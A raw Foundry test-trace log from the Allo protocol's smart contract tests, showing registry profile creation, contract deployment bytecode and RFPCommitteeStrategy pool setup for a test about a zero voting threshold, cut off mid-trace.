b925060208401359150604084013567ffffffffffffffff8082111561033457600080fd5b818601915086601f83011261034857600080fd5b81358181111561035a5761035a6102b5565b604051601f8201601f19908116603f01168101908382118183101715610382576103826102b5565b8160405282815289602084870101111561039b57600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b60005b838110156103d85781810151838201526020016103c0565b50506000910152565b60208152600082518060208401526104008160408501602087016103bd565b601f01601f19169190910160400192915050565b60006020828403121561042657600080fd5b8151801515811461043657600080fd5b9392505050565b6000825161044f8184602087016103bd565b919091019291505056fea2646970667358221220ce97c29421aa3f96b075f54f4a6280bca1e9451421cba9f159f59de67de39bdb64736f6c6343000813003341ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909)\n ā”‚ ā”‚ ā”œā”€ [233889] ā†’ new Anchor@0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† 1167 bytes of code\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909, account: profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214], sender: profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909, account: profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150], sender: profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d])\n ā”‚ ā”œā”€ emit ProfileCreated(profileId: 0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909, nonce: 0, name: Profile 1, metadata: (1, Profile1), owner: profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d], anchor: Anchor: [0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641])\n ā”‚ ā””ā”€ ā† 0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909\n ā”œā”€ [3776] Registry::getProfileById(0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909) [staticcall]\n ā”‚ ā””ā”€ ā† (0x41ec40bff45a0ff7c9640ced2800f5352e17799050e200428364114ac24b1909, 0, Profile 1, (1, Profile1), 0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d, 0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641)\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c]\n ā”œā”€ [0] VM::label(profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c], profile2_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c]\n ā”œā”€ [0] VM::label(profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c], profile2_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile2_member1: [0xc358bff6431Cf2E90ce3EF4e18871Ca4bBe459e2]\n ā”œā”€ [0] VM::label(profile2_member1: [0xc358bff6431Cf2E90ce3EF4e18871Ca4bBe459e2], profile2_member1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile2_member2: [0x4E9320E333F3DDbc20f51d7fe87C3857a4aeDa41]\n ā”œā”€ [0] VM::label(profile2_member2: [0x4E9320E333F3DDbc20f51d7fe87C3857a4aeDa41], profile2_member2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [522450] Registry::createProfile(0, Profile 2, (1, Profile2), profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c], [0xc358bff6431Cf2E90ce3EF4e18871Ca4bBe459e2, 0x4E9320E333F3DDbc20f51d7fe87C3857a4aeDa41])\n ā”‚ ā”œā”€ [1617] ā†’ new @0xEb8BeBB84a881f71509e868DD3877035f72b8fC2\n ā”‚ ā”‚ ā””ā”€ ā† 8 bytes of code\n ā”‚ ā”œā”€ [266159] 0xEb8BeBB84a881f71509e868DD3877035f72b8fC2::60c06040(5234801561001057600080fd5b5060405161051438038061051483398101604081905261002f9161003b565b3360805260a052610054565b60006020828403121561004d57600080fd5b5051919050565b60805160a05161048f610085600039600081816056015261012c015260008181609d015261015b015261048f6000f3fe6080604052600436106100385760003560e01c806308386eba146100445780637b1039991461008b578063b61d27f6146100d757600080fd5b3661003f57005b600080fd5b34801561005057600080fd5b506100787f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b34801561009757600080fd5b506100bf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610082565b3480156100e357600080fd5b506100f76100f23660046102e4565b610104565b60405161008291906103e1565b6040517f39b86b8c0000000000000000000000000000000000000000000000000000000081527f000000000000000000000000000000000000000000000000000000000000000060048201523360248201526060907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906339b86b8c90604401602060405180830381865afa1580156101aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ce9190610414565b610204576040517f075fd2b100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b03841661022b576040516384aed38d60e01b815260040160405180910390fd5b600080856001600160a01b03168585604051610247919061043d565b60006040518083038185875af1925050503d8060008114610284576040519150601f19603f3d011682016040523d82523d6000602084013e610289565b606091505b5091509150816102ac576040516384aed38d60e01b815260040160405180910390fd5b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000806000606084860312156102f957600080fd5b83356001600160a01b038116811461031057600080fd5b925060208401359150604084013567ffffffffffffffff8082111561033457600080fd5b818601915086601f83011261034857600080fd5b81358181111561035a5761035a6102b5565b604051601f8201601f19908116603f01168101908382118183101715610382576103826102b5565b8160405282815289602084870101111561039b57600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b60005b838110156103d85781810151838201526020016103c0565b50506000910152565b60208152600082518060208401526104008160408501602087016103bd565b601f01601f19169190910160400192915050565b60006020828403121561042657600080fd5b8151801515811461043657600080fd5b9392505050565b6000825161044f8184602087016103bd565b919091019291505056fea2646970667358221220ce97c29421aa3f96b075f54f4a6280bca1e9451421cba9f159f59de67de39bdb64736f6c63430008130033ce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4)\n ā”‚ ā”‚ ā”œā”€ [233889] ā†’ new Anchor@0x4E0aB029b2128e740fA408a26aC5f314e769469f\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† 1167 bytes of code\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4, account: profile2_member1: [0xc358bff6431Cf2E90ce3EF4e18871Ca4bBe459e2], sender: profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4, account: profile2_member2: [0x4E9320E333F3DDbc20f51d7fe87C3857a4aeDa41], sender: profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c])\n ā”‚ ā”œā”€ emit ProfileCreated(profileId: 0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4, nonce: 0, name: Profile 2, metadata: (1, Profile2), owner: profile2_owner: [0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c], anchor: Anchor: [0x4E0aB029b2128e740fA408a26aC5f314e769469f])\n ā”‚ ā””ā”€ ā† 0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4\n ā”œā”€ [3776] Registry::getProfileById(0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4) [staticcall]\n ā”‚ ā””ā”€ ā† (0xce6ccaa269c65528ca658852ba7db8f27381e06b52e4b77db17c9a1475b22bc4, 0, Profile 2, (1, Profile2), 0x3ed73A046b5BF6C7E4F8c4733d4d3Be3e311A43c, 0x4E0aB029b2128e740fA408a26aC5f314e769469f)\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481]\n ā”œā”€ [0] VM::label(allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481], allo_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::startPrank(allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [2720553] ā†’ new Allo@0x9b40E73C1070fD77cFc3594A84E349C86E6F721f\n ā”‚ ā””ā”€ ā† 13588 bytes of code\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4]\n ā”œā”€ [0] VM::label(allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4], allo_treasury)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [120967] Allo::initialize(Registry: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4], 10000000000000000 [1e16], 0)\n ā”‚ ā”œā”€ emit OwnershipTransferred(oldOwner: 0x0000000000000000000000000000000000000000, newOwner: allo_owner: [0xCcfcDE8541cC00E87CF7Ad08A9364f157964e481])\n ā”‚ ā”œā”€ emit RegistryUpdated(registry: Registry: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])\n ā”‚ ā”œā”€ emit TreasuryUpdated(treasury: allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4])\n ā”‚ ā”œā”€ emit PercentFeeUpdated(percentFee: 10000000000000000 [1e16])\n ā”‚ ā”œā”€ emit BaseFeeUpdated(baseFee: 0)\n ā”‚ ā”œā”€ emit Initialized(version: 1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [2642784] ā†’ new RFPCommitteeStrategy@0x2e234DAe75C793f67A35089C9d99245E1C58470b\n ā”‚ ā””ā”€ ā† 13083 bytes of code\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]\n ā”œā”€ [0] VM::label(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], pool_admin)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107]\n ā”œā”€ [0] VM::label(pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], pool_manager1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f]\n ā”œā”€ [0] VM::label(pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], pool_manager2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [431794] Allo::createPoolWithCustomStrategy(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, RFPCommitteeStrategy: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0x00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 0, (1, PoolMetadata), [0x05800FAD118693c398e4E1ceFBb1FAC54537b107, 0xF49D32655a289163297342376EA91F6434cff60f])\n ā”‚ ā”œā”€ [696] Registry::isOwnerOrMemberOfProfile(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1, account: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleAdminChanged(role: 0x0000000000000000000000000000000000000000000000000000000000000001, previousAdminRole: 0x0000000000000000000000000000000000000000000000000000000000000000, newAdminRole: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1)\n ā”‚ ā”œā”€ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002d53656e64696e6720257320746f2074686520737472617465677920666f7220696e697469616c697a6174696f6e00000000000000000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [139981] RFPCommitteeStrategy::initialize(1, 0x00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001)\n ā”‚ ā”‚ ā”œā”€ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000001e52504620636f6d6d697465653a3a20706f6f6c2069642073656e742025730000) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000275246502073696d706c652073747261746567792073656e64696e6720706f6f6c49643a2025732000000000000000000000000000000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000186465706c6f79696e67207769746820706f6f6c49642025730000000000000000) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000001) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [420] Allo::getRegistry() [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† Registry: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]\n ā”‚ ā”‚ ā”œā”€ emit MaxBidIncreased(maxBid: 1000000000000000000 [1e18])\n ā”‚ ā”‚ ā”œā”€ emit PoolActive(active: true)\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [371] RFPCommitteeStrategy::getPoolId() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 1\n ā”‚ ā”œā”€ [260] RFPCommitteeStrategy::getAllo() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f]\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit PoolCreated(poolId: 1, profileId: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, strategy: RFPCommitteeStrategy: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], token: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, amount: 0, metadata: (1, PoolMetadata))\n ā”‚ ā””ā”€ ā† 1\n ā””ā”€ ā† ()\n\n [3962349] RFPCommitteeStrategyTest::test_allocateWouldNeverWorkIfVotingThresholdIsZero()\n ā”œā”€ [0] VM::recordLogs()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca]\n ā”œā”€ [0] VM::label(manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca], manager_1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4]\n ā”œā”€ [0] VM::label(manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4], manager_2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3]\n ā”œā”€ [0] VM::label(manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3], manager_3)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7]\n ā”œā”€ [0] VM::label(manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7], manager_4)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65]\n ā”œā”€ [0] VM::label(profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], profile_Ownerr)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† recipient__1: [0x4E3Ef4AaE30BB5a2a74db03a226B69b7BD709591]\n ā”œā”€ [0] VM::label(recipient__1: [0x4E3Ef4AaE30BB5a2a74db03a226B69b7BD709591], recipient__1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214]\n ā”œā”€ [0] VM::label(profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214], profile1_member1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150]\n ā”œā”€ [0] VM::label(profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150], profile1_member2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [522453] Registry::createProfile(0, New Pool 1, (1, Profile Metadata 1), profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], [0x32AA463a3F1fc42AbEAD98584E6A73826124B214, 0x1ed2CE7e57A08c9a31c35782c6016318f2B53150])\n ā”‚ ā”œā”€ [1617] ā†’ new @0xCCD3D4b306D5B3f98B48F5f4967e7C8412B87059\n ā”‚ ā”‚ ā””ā”€ ā† 8 bytes of code\n ā”‚ ā”œā”€ [266159] 0xCCD3D4b306D5B3f98B48F5f4967e7C8412B87059::60c06040(5234801561001057600080fd5b5060405161051438038061051483398101604081905261002f9161003b565b3360805260a052610054565b60006020828403121561004d57600080fd5b5051919050565b60805160a05161048f610085600039600081816056015261012c015260008181609d015261015b015261048f6000f3fe6080604052600436106100385760003560e01c806308386eba146100445780637b1039991461008b578063b61d27f6146100d757600080fd5b3661003f57005b600080fd5b34801561005057600080fd5b506100787f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b34801561009757600080fd5b506100bf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610082565b3480156100e357600080fd5b506100f76100f23660046102e4565b610104565b60405161008291906103e1565b6040517f39b86b8c0000000000000000000000000000000000000000000000000000000081527f000000000000000000000000000000000000000000000000000000000000000060048201523360248201526060907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906339b86b8c90604401602060405180830381865afa1580156101aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ce9190610414565b610204576040517f075fd2b100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b03841661022b576040516384aed38d60e01b815260040160405180910390fd5b600080856001600160a01b03168585604051610247919061043d565b60006040518083038185875af1925050503d8060008114610284576040519150601f19603f3d011682016040523d82523d6000602084013e610289565b606091505b5091509150816102ac576040516384aed38d60e01b815260040160405180910390fd5b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000806000606084860312156102f957600080fd5b83356001600160a01b038116811461031057600080fd5b925060208401359150604084013567ffffffffffffffff8082111561033457600080fd5b818601915086601f83011261034857600080fd5b81358181111561035a5761035a6102b5565b604051601f8201601f19908116603f01168101908382118183101715610382576103826102b5565b8160405282815289602084870101111561039b57600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b60005b838110156103d85781810151838201526020016103c0565b50506000910152565b60208152600082518060208401526104008160408501602087016103bd565b601f01601f19169190910160400192915050565b60006020828403121561042657600080fd5b8151801515811461043657600080fd5b9392505050565b6000825161044f8184602087016103bd565b919091019291505056fea2646970667358221220ce97c29421aa3f96b075f54f4a6280bca1e9451421cba9f159f59de67de39bdb64736f6c63430008130033ff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766)\n ā”‚ ā”‚ ā”œā”€ [233889] ā†’ new Anchor@0x18dD573545b26D5e28a201558A928EDa9f9D059a\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† 1167 bytes of code\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, account: profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, account: profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit ProfileCreated(profileId: 0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, nonce: 0, name: New \nPool 1, metadata: (1, Profile Metadata 1), owner: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], anchor: Anchor: [0x18dD573545b26D5e28a201558A928EDa9f9D059a])\n ā”‚ ā””ā”€ ā† 0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766\n ā”œā”€ [0] VM::prank(profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [2642784] ā†’ new RFPCommitteeStrategy@0x7672be0Ed39e876D054f2C8436E725486a5F52b7\n ā”‚ ā””ā”€ ā† 13083 bytes of code\n ā”œā”€ [0] VM::startPrank(profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [428507] Allo::createPoolWithCustomStrategy(0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, RFPCommitteeStrategy: [0x7672be0Ed39e876D054f2C8436E725486a5F52b7], 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000, 0, (1, Create Pool Metadata), [0x61C722f0d71e25368789deba8f085415F98204Ca, 0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4, 0xB4997929866Eb6E047D55e5628fbA650E2CE03f3, 0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7])\n ā”‚ ā”œā”€ [696] Registry::isOwnerOrMemberOfProfile(0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x64c8ab9e7070e09880fbe6c9b9d39ed69fc8010ea75c2c1265167c3b0850f87d, account: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit RoleAdminChanged(role: 0x0000000000000000000000000000000000000000000000000000000000000002, previousAdminRole: 0x0000000000000000000000000000000000000000000000000000000000000000, newAdminRole: 0x64c8ab9e7070e09880fbe6c9b9d39ed69fc8010ea75c2c1265167c3b0850f87d)\n ā”‚ ā”œā”€ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000002d53656e64696e6720257320746f2074686520737472617465677920666f7220696e697469616c697a6174696f6e00000000000000000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [120081] RFPCommitteeStrategy::initialize(2, 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001)\n ā”‚ ā”‚ ā”œā”€ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000001e52504620636f6d6d697465653a3a20706f6f6c2069642073656e742025730000) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000275246502073696d706c652073747261746567792073656e64696e6720706f6f6c49643a2025732000000000000000000000000000000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000186465706c6f79696e67207769746820706f6f6c49642025730000000000000000) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000002) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [420] Allo::getRegistry() [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† Registry: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]\n ā”‚ ā”‚ ā”œā”€ emit MaxBidIncreased(maxBid: 10000000000000000000 [1e19])\n ā”‚ ā”‚ ā”œā”€ emit PoolActive(active: true)\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [371] RFPCommitteeStrategy::getPoolId() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 2\n ā”‚ ā”œā”€ [260] RFPCommitteeStrategy::getAllo() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f]\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000002, account: manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000002, account: manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4], sender: profile_Ownerr: 